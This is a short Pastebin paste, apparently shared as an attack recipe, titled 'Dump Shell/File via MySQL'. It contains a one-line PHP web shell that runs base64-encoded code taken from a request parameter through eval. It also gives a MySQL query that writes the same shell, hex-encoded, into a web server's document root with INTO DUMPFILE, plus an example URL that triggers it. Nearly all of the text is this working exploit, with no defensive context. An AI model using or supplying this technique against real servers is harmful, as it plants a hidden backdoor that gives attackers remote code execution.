Mayur_Pipaliya

Dump Shell/File via MySQL

Mar 4th, 2012
300
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 0.60 KB | None | 0 0
  1. ## To DUMP Shell via MySQL Query. ##
  2.  
  3. # PHP Code Containing Shell
  4. <?php  if($_REQUEST['VBSE0'] != null) eval(base64_decode($_REQUEST['VBSE0'])); ?>
  5.  
  6. # MySQL Query to DUMP Shell in PATH '/var/www/html/cmd.php'
  7. # For Windows, it should be 'c:/xampp/htdocs/cmd.php' or equivalent.
  8. -- QUERY --
  9.  
  10. SELECT unhex('3c3f7068702020696628245f524551554553545b275642534530275d20213d206e756c6c29206576616c286261736536345f6465636f646528245f524551554553545b275642534530275d29293b203f3e') INTO DUMPFILE '/var/www/html/cmd.php';
  11.  
  12. -- QUERY --
  13.  
  14. ## example : http://localhost/cmd.php?VBSE0=ZWNobyAnSGVsbG8gV29ybGQnOw==
Add Comment
Please, Sign In to add comment